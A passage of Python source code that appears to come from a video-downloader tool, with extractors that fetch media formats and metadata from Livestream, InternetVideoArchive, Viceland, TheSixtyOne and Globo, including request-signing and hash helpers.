            'title': 'Spark 1 (BitCoin) with Cameron Winklevoss & Tyler Winklevoss of Winklevoss Capital',
            'duration': 771.301,
            'view_count': int,
        },
    }, {
        'url': 'https://original.livestream.com/newplay/folder?dirId=a07bf706-d0e4-4e75-a747-b021d84f2fd3',
        'info_dict': {
            'id': 'a07bf706-d0e4-4e75-a747-b021d84f2fd3',
        },
        'playlist_mincount': 4,
    }, {
        # live stream
        'url': 'http://original.livestream.com/znsbahamas',
        'only_matching': True,
    }]

    def _extract_video_info(self, user, video_id):
        api_url = 'http://x%sx.api.channel.livestream.com/2.0/clipdetails?extendedInfo=true&id=%s' % (user, video_id)
        info = self._download_xml(api_url, video_id)

        item = info.find('channel').find('item')
        title = xpath_text(item, 'title')
        media_ns = {'media': 'http://search.yahoo.com/mrss'}
        thumbnail_url = xpath_attr(
            item, xpath_with_ns('media:thumbnail', media_ns), 'url')
        duration = float_or_none(xpath_attr(
            item, xpath_with_ns('media:content', media_ns), 'duration'))
        ls_ns = {'ls': 'http://api.channel.livestream.com/2.0'}
        view_count = int_or_none(xpath_text(
            item, xpath_with_ns('ls:viewsCount', ls_ns)))

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail_url,
            'duration': duration,
            'view_count': view_count,
        }

    def _extract_video_formats(self, video_data, video_id, entry_protocol):
        formats = []

        progressive_url = video_data.get('progressiveUrl')
        if progressive_url:
            formats.append({
                'url': progressive_url,
                'format_id': 'http',
            })

        m3u8_url = video_data.get('httpUrl')
        if m3u8_url:
            formats.extend(self._extract_m3u8_formats(
                m3u8_url, video_id, 'mp4', entry_protocol, m3u8_id='hls', fatal=False))

        rtsp_url = video_data.get('rtspUrl')
        if rtsp_url:
            formats.append({
                'url': rtsp_url,
                'format_id': 'rtsp',
            })

        self._sort_formats(formats)
        return formats

    def _extract_folder(self, url, folder_id):
        webpage = self._download_webpage(url, folder_id)
        paths = orderedSet(re.findall(
            r'''(?x)(?:
                <li\s+class="folder">\s*<a\s+href="|
                <a\s+href="(?=https?://livestre\.am/)
            )([^"]+)"''', webpage))

        entries = [{
            '_type': 'url',
            'url': compat_urlparse.urljoin(url, p),
        } for p in paths]

        return self.playlist_result(entries, folder_id)

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        user = mobj.group('user')
        url_type = mobj.group('type')
        content_id = mobj.group('id')
        if url_type == 'folder':
            return self._extract_folder(url, content_id)
        else:
            # this url is used on mobile devices
            stream_url = 'http://x%sx.api.channel.livestream.com/3.0/getstream.json' % user
            info = {}
            if content_id:
                stream_url += '?id=%s' % content_id
                info = self._extract_video_info(user, content_id)
            else:
                content_id = user
                webpage = self._download_webpage(url, content_id)
                info = {
                    'title': self._og_search_title(webpage),
                    'description': self._og_search_description(webpage),
                    'thumbnail': self._search_regex(r'channelLogo.src\s*=\s*"([^"]+)"', webpage, 'thumbnail', None),
                }
            video_data = self._download_json(stream_url, content_id)
            is_live = video_data.get('isLive')
            entry_protocol = 'm3u8' if is_live else 'm3u8_native'
            info.update({
                'id': content_id,
                'title': self._live_title(info['title']) if is_live else info['title'],
                'formats': self._extract_video_formats(video_data, content_id, entry_protocol),
                'is_live': is_live,
            })
            return info


# The server doesn't support HEAD request, the generic extractor can't detect
# the redirection
class LivestreamShortenerIE(InfoExtractor):
    IE_NAME = 'livestream:shortener'
    IE_DESC = False  # Do not list
    _VALID_URL = r'https?://livestre\.am/(?P<id>.+)'

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        id = mobj.group('id')
        webpage = self._download_webpage(url, id)

        return {
            '_type': 'url',
            'url': self._og_search_url(webpage),
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import (
    compat_parse_qs,
    compat_urlparse,
)
from ..utils import (
    determine_ext,
    int_or_none,
    xpath_text,
)


class InternetVideoArchiveIE(InfoExtractor):
    _VALID_URL = r'https?://video\.internetvideoarchive\.net/(?:player|flash/players)/.*?\?.*?publishedid.*?'

    _TEST = {
        'url': 'http://video.internetvideoarchive.net/player/6/configuration.ashx?customerid=69249&publishedid=194487&reporttag=vdbetatitle&playerid=641&autolist=0&domain=www.videodetective.com&maxrate=high&minrate=low&socialplayer=false',
        'info_dict': {
            'id': '194487',
            'ext': 'mp4',
            'title': 'KICK-ASS 2',
            'description': 'md5:c189d5b7280400630a1d3dd17eaa8d8a',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }

    @staticmethod
    def _build_json_url(query):
        return 'http://video.internetvideoarchive.net/player/6/configuration.ashx?' + query

    @staticmethod
    def _build_xml_url(query):
        return 'http://video.internetvideoarchive.net/flash/players/flashconfiguration.aspx?' + query

    def _real_extract(self, url):
        query = compat_urlparse.urlparse(url).query
        query_dic = compat_parse_qs(query)
        video_id = query_dic['publishedid'][0]

        if '/player/' in url:
            configuration = self._download_json(url, video_id)

            # There are multiple videos in the playlist whlie only the first one
            # matches the video played in browsers
            video_info = configuration['playlist'][0]

            formats = []
            for source in video_info['sources']:
                file_url = source['file']
                if determine_ext(file_url) == 'm3u8':
                    formats.extend(self._extract_m3u8_formats(
                        file_url, video_id, ext='mp4', m3u8_id='hls'))
                else:
                    a_format = {
                        'url': file_url,
                    }

                    if source.get('label') and source['label'][-4:] == ' kbs':
                        tbr = int_or_none(source['label'][:-4])
                        a_format.update({
                            'tbr': tbr,
                            'format_id': 'http-%d' % tbr,
                        })
                        formats.append(a_format)

            self._sort_formats(formats)

            title = video_info['title']
            description = video_info.get('description')
            thumbnail = video_info.get('image')
        else:
            configuration = self._download_xml(url, video_id)
            formats = [{
                'url': xpath_text(configuration, './file', 'file URL', fatal=True),
            }]
            thumbnail = xpath_text(configuration, './image', 'thumbnail')
            title = 'InternetVideoArchive video %s' % video_id
            description = None

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'thumbnail': thumbnail,
            'description': description,
        }






# coding: utf-8
from __future__ import unicode_literals

import time
import hashlib
import json

from .adobepass import AdobePassIE
from ..compat import compat_HTTPError
from ..utils import (
    int_or_none,
    parse_age_limit,
    str_or_none,
    parse_duration,
    ExtractorError,
    extract_attributes,
)


class VicelandIE(AdobePassIE):
    _VALID_URL = r'https?://(?:www\.)?viceland\.com/[^/]+/video/[^/]+/(?P<id>[a-f0-9]+)'
    _TEST = {
        'url': 'https://www.viceland.com/en_us/video/cyberwar-trailer/57608447973ee7705f6fbd4e',
        'info_dict': {
            'id': '57608447973ee7705f6fbd4e',
            'ext': 'mp4',
            'title': 'CYBERWAR (Trailer)',
            'description': 'Tapping into the geopolitics of hacking and surveillance, Ben Makuch travels the world to meet with hackers, government officials, and dissidents to investigate the ecosystem of cyberwarfare.',
            'age_limit': 14,
            'timestamp': 1466008539,
            'upload_date': '20160615',
            'uploader_id': '11',
            'uploader': 'Viceland',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
        'add_ie': ['UplynkPreplay'],
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)
        watch_hub_data = extract_attributes(self._search_regex(
            r'(?s)(<watch-hub\s*.+?</watch-hub>)', webpage, 'watch hub'))
        video_id = watch_hub_data['vms-id']
        title = watch_hub_data['video-title']

        query = {}
        if watch_hub_data.get('video-locked') == '1':
            resource = self._get_mvpd_resource(
                'VICELAND', title, video_id,
                watch_hub_data.get('video-rating'))
            query['tvetoken'] = self._extract_mvpd_auth(url, video_id, 'VICELAND', resource)

        # signature generation algorithm is reverse engineered from signatureGenerator in
        # webpack:///../shared/~/vice-player/dist/js/vice-player.js in
        # https://www.viceland.com/assets/common/js/web.vendor.bundle.js
        exp = int(time.time()) + 14400
        query.update({
            'exp': exp,
            'sign': hashlib.sha512(('%s:GET:%d' % (video_id, exp)).encode()).hexdigest(),
        })

        try:
            preplay = self._download_json('https://www.viceland.com/en_us/preplay/%s' % video_id, video_id, query=query)
        except ExtractorError as e:
            if isinstance(e.cause, compat_HTTPError) and e.cause.code == 400:
                error = json.loads(e.cause.read().decode())
                raise ExtractorError('%s said: %s' % (self.IE_NAME, error['details']), expected=True)
            raise

        video_data = preplay['video']
        base = video_data['base']
        uplynk_preplay_url = preplay['preplayURL']
        episode = video_data.get('episode', {})
        channel = video_data.get('channel', {})

        subtitles = {}
        cc_url = preplay.get('ccURL')
        if cc_url:
            subtitles['en'] = [{
                'url': cc_url,
            }]

        return {
            '_type': 'url_transparent',
            'url': uplynk_preplay_url,
            'id': video_id,
            'title': title,
            'description': base.get('body'),
            'thumbnail': watch_hub_data.get('cover-image') or watch_hub_data.get('thumbnail'),
            'duration': parse_duration(video_data.get('video_duration') or watch_hub_data.get('video-duration')),
            'timestamp': int_or_none(video_data.get('created_at')),
            'age_limit': parse_age_limit(video_data.get('video_rating')),
            'series': video_data.get('show_title') or watch_hub_data.get('show-title'),
            'episode_number': int_or_none(episode.get('episode_number') or watch_hub_data.get('episode')),
            'episode_id': str_or_none(episode.get('id') or video_data.get('episode_id')),
            'season_number': int_or_none(watch_hub_data.get('season')),
            'season_id': str_or_none(episode.get('season_id')),
            'uploader': channel.get('base', {}).get('title') or watch_hub_data.get('channel-title'),
            'uploader_id': str_or_none(channel.get('id')),
            'subtitles': subtitles,
            'ie_key': 'UplynkPreplay',
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import unified_strdate


class TheSixtyOneIE(InfoExtractor):
    _VALID_URL = r'''(?x)https?://(?:www\.)?thesixtyone\.com/
        (?:.*?/)*
        (?:
            s|
            song/comments/list|
            song
        )/(?:[^/]+/)?(?P<id>[A-Za-z0-9]+)/?$'''
    _SONG_URL_TEMPLATE = 'http://thesixtyone.com/s/{0:}'
    _SONG_FILE_URL_TEMPLATE = 'http://{audio_server:}/thesixtyone_production/audio/{0:}_stream'
    _THUMBNAIL_URL_TEMPLATE = '{photo_base_url:}_desktop'
    _TESTS = [
        {
            'url': 'http://www.thesixtyone.com/s/SrE3zD7s1jt/',
            'md5': '821cc43b0530d3222e3e2b70bb4622ea',
            'info_dict': {
                'id': 'SrE3zD7s1jt',
                'ext': 'mp3',
                'title': 'CASIO - Unicorn War Mixtape',
                'thumbnail': 're:^https?://.*_desktop$',
                'upload_date': '20071217',
                'duration': 3208,
            }
        },
        {
            'url': 'http://www.thesixtyone.com/song/comments/list/SrE3zD7s1jt',
            'only_matching': True,
        },
        {
            'url': 'http://www.thesixtyone.com/s/ULoiyjuJWli#/s/SrE3zD7s1jt/',
            'only_matching': True,
        },
        {
            'url': 'http://www.thesixtyone.com/#/s/SrE3zD7s1jt/',
            'only_matching': True,
        },
        {
            'url': 'http://www.thesixtyone.com/song/SrE3zD7s1jt/',
            'only_matching': True,
        },
        {
            'url': 'http://www.thesixtyone.com/maryatmidnight/song/StrawberriesandCream/yvWtLp0c4GQ/',
            'only_matching': True,
        },
    ]

    _DECODE_MAP = {
        'x': 'a',
        'm': 'b',
        'w': 'c',
        'q': 'd',
        'n': 'e',
        'p': 'f',
        'a': '0',
        'h': '1',
        'e': '2',
        'u': '3',
        's': '4',
        'i': '5',
        'o': '6',
        'y': '7',
        'r': '8',
        'c': '9'
    }

    def _real_extract(self, url):
        song_id = self._match_id(url)

        webpage = self._download_webpage(
            self._SONG_URL_TEMPLATE.format(song_id), song_id)

        song_data = self._parse_json(self._search_regex(
            r'"%s":\s(\{.*?\})' % song_id, webpage, 'song_data'), song_id)

        if self._search_regex(r'(t61\.s3_audio_load\s*=\s*1\.0;)', webpage, 's3_audio_load marker', default=None):
            song_data['audio_server'] = 's3.amazonaws.com'
        else:
            song_data['audio_server'] = song_data['audio_server'] + '.thesixtyone.com'

        keys = [self._DECODE_MAP.get(s, s) for s in song_data['key']]
        url = self._SONG_FILE_URL_TEMPLATE.format(
            "".join(reversed(keys)), **song_data)

        formats = [{
            'format_id': 'sd',
            'url': url,
            'ext': 'mp3',
        }]

        return {
            'id': song_id,
            'title': '{artist:} - {name:}'.format(**song_data),
            'formats': formats,
            'comment_count': song_data.get('comments_count'),
            'duration': song_data.get('play_time'),
            'like_count': song_data.get('score'),
            'thumbnail': self._THUMBNAIL_URL_TEMPLATE.format(**song_data),
            'upload_date': unified_strdate(song_data.get('publish_date')),
        }






# coding: utf-8
from __future__ import unicode_literals

import random
import math

from .common import InfoExtractor
from ..compat import (
    compat_str,
    compat_chr,
    compat_ord,
)
from ..utils import (
    ExtractorError,
    float_or_none,
    int_or_none,
    str_or_none,
)


class GloboIE(InfoExtractor):
    _VALID_URL = '(?:globo:|https?://.+?\.globo\.com/(?:[^/]+/)*(?:v/(?:[^/]+/)?|videos/))(?P<id>\d{7,})'

    _API_URL_TEMPLATE = 'http://api.globovideos.com/videos/%s/playlist'
    _SECURITY_URL_TEMPLATE = 'http://security.video.globo.com/videos/%s/hash?player=flash&version=17.0.0.132&resource_id=%s'

    _RESIGN_EXPIRATION = 86400

    _TESTS = [{
        'url': 'http://g1.globo.com/carros/autoesporte/videos/t/exclusivos-do-g1/v/mercedes-benz-gla-passa-por-teste-de-colisao-na-europa/3607726/',
        'md5': 'b3ccc801f75cd04a914d51dadb83a78d',
        'info_dict': {
            'id': '3607726',
            'ext': 'mp4',
            'title': 'Mercedes-Benz GLA passa por teste de colisão na Europa',
            'duration': 103.204,
            'uploader': 'Globo.com',
            'uploader_id': '265',
        },
    }, {
        'url': 'http://globoplay.globo.com/v/4581987/',
        'md5': 'f36a1ecd6a50da1577eee6dd17f67eff',
        'info_dict': {
            'id': '4581987',
            'ext': 'mp4',
            'title': 'Acidentes de trânsito estão entre as maiores causas de queda de energia em SP',
            'duration': 137.973,
            'uploader': 'Rede Globo',
            'uploader_id': '196',
        },
    }, {
        'url': 'http://canalbrasil.globo.com/programas/sangue-latino/videos/3928201.html',
        'only_matching': True,
    }, {
        'url': 'http://globosatplay.globo.com/globonews/v/4472924/',
        'only_matching': True,
    }, {
        'url': 'http://globotv.globo.com/t/programa/v/clipe-sexo-e-as-negas-adeus/3836166/',
        'only_matching': True,
    }, {
        'url': 'http://globotv.globo.com/canal-brasil/sangue-latino/t/todos-os-videos/v/ator-e-diretor-argentino-ricado-darin-fala-sobre-utopias-e-suas-perdas/3928201/',
        'only_matching': True,
    }, {
        'url': 'http://canaloff.globo.com/programas/desejar-profundo/videos/4518560.html',
        'only_matching': True,
    }]

    class MD5(object):
        HEX_FORMAT_LOWERCASE = 0
        HEX_FORMAT_UPPERCASE = 1
        BASE64_PAD_CHARACTER_DEFAULT_COMPLIANCE = ''
        BASE64_PAD_CHARACTER_RFC_COMPLIANCE = '='
        PADDING = '=0xFF01DD'
        hexcase = 0
        b64pad = ''

        def __init__(self):
            pass

        class JSArray(list):
            def __getitem__(self, y):
                try:
                    return list.__getitem__(self, y)
                except IndexError:
                    return 0

            def __setitem__(self, i, y):
                try:
                    return list.__setitem__(self, i, y)
                except IndexError:
                    self.extend([0] * (i - len(self) + 1))
                    self[-1] = y

        @classmethod
        def hex_md5(cls, param1):
            return cls.rstr2hex(cls.rstr_md5(cls.str2rstr_utf8(param1)))

        @classmethod
        def b64_md5(cls, param1, param2=None):
            return cls.rstr2b64(cls.rstr_md5(cls.str2rstr_utf8(param1, param2)))

        @classmethod
        def any_md5(cls, param1, param2):
            return cls.rstr2any(cls.rstr_md5(cls.str2rstr_utf8(param1)), param2)

        @classmethod
        def rstr_md5(cls, param1):
            return cls.binl2rstr(cls.binl_md5(cls.rstr2binl(param1), len(param1) * 8))

        @classmethod
        def rstr2hex(cls, param1):
            _loc_2 = '0123456789ABCDEF' if cls.hexcase else '0123456789abcdef'
            _loc_3 = ''
            for _loc_5 in range(0, len(param1)):
                _loc_4 = compat_ord(param1[_loc_5])
                _loc_3 += _loc_2[_loc_4 >> 4 & 15] + _loc_2[_loc_4 & 15]
            return _loc_3

        @classmethod
        def rstr2b64(cls, param1):
            _loc_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_'
            _loc_3 = ''
            _loc_4 = len(param1)
            for _loc_5 in range(0, _loc_4, 3):
                _loc_6_1 = compat_ord(param1[_loc_5]) << 16
                _loc_6_2 = compat_ord(param1[_loc_5 + 1]) << 8 if _loc_5 + 1 < _loc_4 else 0
                _loc_6_3 = compat_ord(param1[_loc_5 + 2]) if _loc_5 + 2 < _loc_4 else 0
                _loc_6 = _loc_6_1 | _loc_6_2 | _loc_6_3
                for _loc_7 in range(0, 4):
                    if _loc_5 * 8 + _loc_7 * 6 > len(param1) * 8:
                        _loc_3 += cls.b64pad
                    else:
                        _loc_3 += _loc_2[_loc_6 >> 6 * (3 - _loc_7) & 63]
            return _loc_3

        @staticmethod
        def rstr2any(param1, param2):
            _loc_3 = len(param2)
            _loc_4 = []
            _loc_9 = [0] * ((len(param1) >> 2) + 1)
            for _loc_5 in range(0, len(_loc_9)):
                _loc_9[_loc_5] = compat_ord(param1[_loc_5 * 2]) << 8 | compat_ord(param1[_loc_5 * 2 + 1])

            while len(_loc_9) > 0:
                _loc_8 = []
                _loc_7 = 0
                for _loc_5 in range(0, len(_loc_9)):
                    _loc_7 = (_loc_7 << 16) + _loc_9[_loc_5]
                    _loc_6 = math.floor(_loc_7 / _loc_3)
                    _loc_7 -= _loc_6 * _loc_3
                    if len(_loc_8) > 0 or _loc_6 > 0:
                        _loc_8[len(_loc_8)] = _loc_6

                _loc_4[len(_loc_4)] = _loc_7
                _loc_9 = _loc_8

            _loc_10 = ''
            _loc_5 = len(_loc_4) - 1
            while _loc_5 >= 0:
                _loc_10 += param2[_loc_4[_loc_5]]
                _loc_5 -= 1

            return _loc_10

        @classmethod
        def str2rstr_utf8(cls, param1, param2=None):
            _loc_3 = ''
            _loc_4 = -1
            if not param2:
                param2 = cls.PADDING
            param1 = param1 + param2[1:9]
            while True:
                _loc_4 += 1
                if _loc_4 >= len(param1):
                    break
                _loc_5 = compat_ord(param1[_loc_4])
                _loc_6 = compat_ord(param1[_loc_4 + 1]) if _loc_4 + 1 < len(param1) else 0
                if 55296 <= _loc_5 <= 56319 and 56320 <= _loc_6 <= 57343:
                    _loc_5 = 65536 + ((_loc_5 & 1023) << 10) + (_loc_6 & 1023)
                    _loc_4 += 1
                if _loc_5 <= 127:
                    _loc_3 += compat_chr(_loc_5)
                    continue
                if _loc_5 <= 2047:
                    _loc_3 += compat_chr(192 | _loc_5 >> 6 & 31) + compat_chr(128 | _loc_5 & 63)
                    continue
                if _loc_5 <= 65535:
                    _loc_3 += compat_chr(224 | _loc_5 >> 12 & 15) + compat_chr(128 | _loc_5 >> 6 & 63) + compat_chr(
                        128 | _loc_5 & 63)
                    continue
                if _loc_5 <= 2097151:
                    _loc_3 += compat_chr(240 | _loc_5 >> 18 & 7) + compat_chr(128 | _loc_5 >> 12 & 63) + compat_chr(
                        128 | _loc_5 >> 6 & 63) + compat_chr(128 | _loc_5 & 63)
            return _loc_3

        @staticmethod
        def rstr2binl(param1):
            _loc_2 = [0] * ((len(param1) >> 2) + 1)
            for _loc_3 in range(0, len(_loc_2)):
                _loc_2[_loc_3] = 0
            for _loc_3 in range(0, len(param1) * 8, 8):
                _loc_2[_loc_3 >> 5] |= (compat_ord(param1[_loc_3 // 8]) & 255) << _loc_3 % 32
            return _loc_2

        @staticmethod
        def binl2rstr(param1):
            _loc_2 = ''
            for _loc_3 in range(0, len(param1) * 32, 8):
                _loc_2 += compat_chr(param1[_loc_3 >> 5] >> _loc_3 % 32 & 255)
            return _loc_2

        @classmethod
        def binl_md5(cls, param1, param2):
            param1 = cls.JSArray(param1)
            param1[param2 >> 5] |= 128 << param2 % 32
            param1[(param2 + 64 >> 9 << 4) + 14] = param2
            _loc_3 = 1732584193
            _loc_4 = -271733879
            _loc_5 = -1732584194
            _loc_6 = 271733878
            for _loc_7 in range(0, len(param1), 16):
                _loc_8 = _loc_3
                _loc_9 = _loc_4
                _loc_10 = _loc_5
                _loc_11 = _loc_6
                _loc_3 = cls.md5_ff(_loc_3, _loc_4, _loc_5, _loc_6, param1[_loc_7 + 0], 7, -680876936)
                _loc_6 = cls.md5_ff(_loc_6, _loc_3, _loc_4, _loc_5, param1[_loc_7 + 1], 12, -389564586)
                _loc_5 = cls.md5_ff(_loc_5, _loc_6, _loc_3, _loc_4, param1[_loc_7 + 2], 17, 606105819)
                _loc_4 = cls.md5_ff(_loc_4, _loc_5, _loc_6, _loc_3, param1[_loc_7 + 3], 22, -1044525330)
                _loc_3 = cls.md5_ff(_loc_3, _loc_4, _loc_5, _loc_6, param1[_loc_7 + 4], 7, -176418897)
                _loc_6 = cls.md5_ff(_loc_6, _loc_3, _loc_4, _loc_5, param1[_loc_7 + 5], 12, 1200080426)
                _loc_5 = cls.md5_ff(_loc_5, _loc_6, _loc_3, _loc_4, param1[_loc_7 + 6], 17, -1473231341)
                _loc_4 = cls.md5_ff(_loc_4, _loc_5, _loc_6, _loc_3, param1[_loc_7 + 7], 22, -45705983)
                _loc_3 = cls.md5_ff(_loc_3, _loc_4, _loc_5, _loc_6, param1[_loc_7 + 8], 7, 1770035416)
                _loc_6 = cls.md5_ff(_loc_6, _loc_3, _loc_4, _loc_5, param1[_loc_7 + 9], 12, -1958414417)
                _loc_5 = cls.md5_ff(_loc_5, _loc_6, _loc_3, _loc_4, param1[_loc_7 + 10], 17, -42063)
                _loc_4 = cls.md5_ff(_loc_4, _loc_5, _loc_6, _loc_3, param1[_loc_7 + 11], 22, -1990404162)
                _loc_3 = cls.md5_ff(_loc_3, _loc_4, _loc_5, _loc_6, param1[_loc_7 + 12], 7, 1804603682)
                _loc_6 = cls.md5_ff(_loc_6, _loc_3, _loc_4, _loc_5, param1[_loc_7 + 13], 12, -40341101)
                _loc_5 = cls.md5_ff(_loc_5, _loc_6, _loc_3, _loc_4, param1[_loc_7 + 14], 17, -1502002290)
                _loc_4 = cls.md5_ff(_loc_4, _loc_5, _loc_6, _loc_3, param1[_loc_7 + 15], 22, 1236535329)
                _loc_3 = cls.md5_gg(_loc_3, _loc_4, _loc_5, _loc_6, param1[_loc_7 + 1], 5, -165796510)
                _loc_6 = cls.md5_gg(_loc_6, _loc_3, _loc_4, _loc_5, param1[_loc_7 + 6], 9, -1069501632)
                _loc_5 = cls.md5_gg(_loc_5, _loc_6, _loc_3, _loc_4, param1[_loc_7 + 11], 14, 643717713)
                _loc_4 = cls.md5_gg(_loc_4, _loc_5, _loc_6, _loc_3, param1[_loc_7 + 0], 20, -373897302)
                _loc_3 = cls.md5_gg(_loc_3, _loc_4, _loc_5, _loc_6, param1[_loc_7 + 5], 5, -701558691)
                _loc_6 = cls.md5_gg(_loc_6, _loc_3, _loc_4, _loc_5, param1[_loc_7 + 10], 9, 38016083)
                _loc_5 = cls.md5_gg(_loc_5, _loc_6, _loc_3, _loc_4, param1[_loc_7 + 15], 14, -660478335)
                _loc_4 = cls.md5_gg(_loc_4, _loc_5, _loc_6, _loc_3, param1[_loc_7 + 4], 20, -405537848)
                _loc_3 = cls.md5_gg(_loc_3, _loc_4, _loc_5, _loc_6, param1[_loc_7 + 9], 5, 568446438)
                _loc_6 = cls.md5_gg(_loc_6, _loc_3, _loc_4, _loc_5, param1[_loc_7 + 14], 9, -1019803690)
                _loc_5 = cls.md5_gg(_loc_5, _loc_6, _loc_3, _loc_4, param1[_loc_7 + 3], 14, -187363961)
                _loc_4 = cls.md5_gg(_loc_4, _loc_5, _loc_6, _loc_3, param1[_loc_7 + 8], 20, 1163531501)
                _loc_3 = cls.md5_gg(_loc_3, _loc_4, _loc_5, _loc_6, param1[_loc_7 + 13], 5, -1444681467)
                _loc_6 = cls.md5_gg(_loc_6, _loc_3, _loc_4, _loc_5, param1[_loc_7 + 2], 9, -51403784)
                _loc_5 = cls.md5_gg(_loc_5, _loc_6, _loc_3, _loc_4, param1[_loc_7 + 7], 14, 1735328473)
                _loc_4 = cls.md5_gg(_loc_4, _loc_5, _loc_6, _loc_3, param1[_loc_7 + 12], 20, -1926607734)
                _loc_3 = cls.md5_hh(_loc_3, _loc_4, _loc_5, _loc_6, param1[_loc_7 + 5], 4, -378558)
                _loc_6 = cls.md5_hh(_loc_6, _loc_3, _loc_4, _loc_5, param1[_loc_7 + 8], 11, -2022574463)
                _loc_5 = cls.md5_hh(_loc_5, _loc_6, _loc_3, _loc_4, param1[_loc_7 + 11], 16, 1839030562)
                _loc_4 = cls.md5_hh(_loc_4, _loc_5, _loc_6, _loc_3, param1[_loc_7 + 14], 23, -35309556)
                _loc_3 = cls.md5_hh(_loc_3, _loc_4, _loc_5, _loc_6, param1[_loc_7 + 1], 4, -1530992060)
                _loc_6 = cls.md5_hh(_loc_6, _loc_3, _loc_4, _loc_5, param1[_loc_7 + 4], 11, 1272893353)
                _loc_5 = cls.md5_hh(_loc_5, _loc_6, _loc_3, _loc_4, param1[_loc_7 + 7], 16, -155497632)
                _loc_4 = cls.md5_hh(_loc_4, _loc_5, _loc_6, _loc_3, param1[_loc_7 + 10], 23, -1094730640)
                _loc_3 = cls.md5_hh(_loc_3, _loc_4, _loc_5, _loc_6, param1[_loc_7 + 13], 4, 681279174)
                _loc_6 = cls.md5_hh(_loc_6, _loc_3, _loc_4, _loc_5, param1[_loc_7 + 0], 11, -358537222)
                _loc_5 = cls.md5_hh(_loc_5, _loc_6, _loc_3, _loc_4, param1[_loc_7 + 3], 16, -722521979)
                _loc_4 = cls.md5_hh(_loc_4, _loc_5, _loc_6, _loc_3, param1[_loc_7 + 6], 23, 76029189)
                _loc_3 = cls.md5_hh(_loc_3, _loc_4, _loc_5, _loc_6, param1[_loc_7 + 9], 4, -640364487)
                _loc_6 = cls.md5_hh(_loc_6, _loc_3, _loc_4, _loc_5, param1[_loc_7 + 12], 11, -421815835)
                _loc_5 = cls.md5_hh(_loc_5, _loc_6, _loc_3, _loc_4, param1[_loc_7 + 15], 16, 530742520)
                _loc_4 = cls.md5_hh(_loc_4, _loc_5, _loc_6, _loc_3, param1[_loc_7 + 2], 23, -995338651)
                _loc_3 = cls.md5_ii(_loc_3, _loc_4, _loc_5, _loc_6, param1[_loc_7 + 0], 6, -198630844)
                _loc_6 = cls.md5_ii(_loc_6, _loc_3, _loc_4, _loc_5, param1[_loc_7 + 7], 10, 1126891415)
                _loc_5 = cls.md5_ii(_loc_5, _loc_6, _loc_3, _loc_4, param1[_loc_7 + 14], 15, -1416354905)
                _loc_4 = cls.md5_ii(_loc_4, _loc_5, _loc_6, _loc_3, param1[_loc_7 + 5], 21, -57434055)
                _loc_3 = cls.md5_ii(_loc_3, _loc_4, _loc_5, _loc_6, param1[_loc_7 + 12], 6, 1700485571)
                _loc_6 = cls.md5_ii(_loc_6, _loc_3, _loc_4, _loc_5, param1[_loc_7 + 3], 10, -1894986606)
                _loc_5 = cls.md5_ii(_loc_5, _loc_6, _loc_3, _loc_4, param1[_loc_7 + 10], 15, -1051523)
                _loc_4 = cls.md5_ii(_loc_4, _loc_5, _loc_6, _loc_3, param1[_loc_7 + 1], 21, -2054922799)
                _loc_3 = cls.md5_ii(_loc_3, _loc_4, _loc_5, _loc_6, param1[_loc_7 + 8], 6, 1873313359)
                _loc_6 = cls.md5_ii(_loc_6, _loc_3, _loc_4, _loc_5, param1[_loc_7 + 15], 10, -30611744)
                _loc_5 = cls.md5_ii(_loc_5, _loc_6, _loc_3, _loc_4, param1[_loc_7 + 6], 15, -1560198380)
                _loc_4 = cls.md5_ii(_loc_4, _loc_5, _loc_6, _loc_3, param1[_loc_7 + 13], 21, 1309151649)
                _loc_3 = cls.md5_ii(_loc_3, _loc_4, _loc_5, _loc_6, param1[_loc_7 + 4], 6, -145523070)
                _loc_6 = cls.md5_ii(_loc_6, _loc_3, _loc_4, _loc_5, param1[_loc_7 + 11], 10, -1120210379)
                _loc_5 = cls.md5_ii(_loc_5, _loc_6, _loc_3, _loc_4, param1[_loc_7 + 2], 15, 718787259)
                _loc_4 = cls.md5_ii(_loc_4, _loc_5, _loc_6, _loc_3, param1[_loc_7 + 9], 21, -343485551)
                _loc_3 = cls.safe_add(_loc_3, _loc_8)
                _loc_4 = cls.safe_add(_loc_4, _loc_9)
                _loc_5 = cls.safe_add(_loc_5, _loc_10)
                _loc_6 = cls.safe_add(_loc_6, _loc_11)
            return [_loc_3, _loc_4, _loc_5, _loc_6]

        @classmethod
        def md5_cmn(cls, param1, param2, param3, param4, param5, param6):
            return cls.safe_add(
                cls.bit_rol(cls.safe_add(cls.safe_add(param2, param1), cls.safe_add(param4, param6)), param5), param3)

        @classmethod
        def md5_ff(cls, param1, param2, param3, param4, param5, param6, param7):
            return cls.md5_cmn(param2 & param3 | ~param2 & param4, param1, param2, param5, param6, param7)

        @classmethod
        def md5_gg(cls, param1, param2, param3, param4, param5, param6, param7):
            return cls.md5_cmn(param2 & param4 | param3 & ~param4, param1, param2, param5, param6, param7)

        @classmethod
        def md5_hh(cls, param1, param2, param3, param4, param5, param6, param7):
            return cls.md5_cmn(param2 ^ param3 ^ param4, param1, param2, param5, param6, param7)

        @classmethod
        def md5_ii(cls, param1, param2, param3, param4, param5, param6, param7):
            return cls.md5_cmn(param3 ^ (param2 | ~param4), param1, param2, param5, param6, param7)

        @classmethod
        def safe_add(cls, param1, param2):
            _loc_3 = (param1 & 65535) + (param2 & 65535)
            _loc_4 = (param1 >> 16) + (param2 >> 16) + (_loc_3 >> 16)
            return cls.lshift(_loc_4, 16) | _loc_3 & 65535

        @classmethod
        def bit_rol(cls, param1, param2):
            return cls.lshift(param1, param2) | (param1 & 0xFFFFFFFF) >> (32 - param2)

        @staticmethod
        def lshift(value, count):
            r = (0xFFFFFFFF & value) << count
            return -(~(r - 1) & 0xFFFFFFFF) if r > 0x7FFFFFFF else r

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video = self._download_json(
            self._API_URL_TEMPLATE % video_id, video_id)['videos'][0]

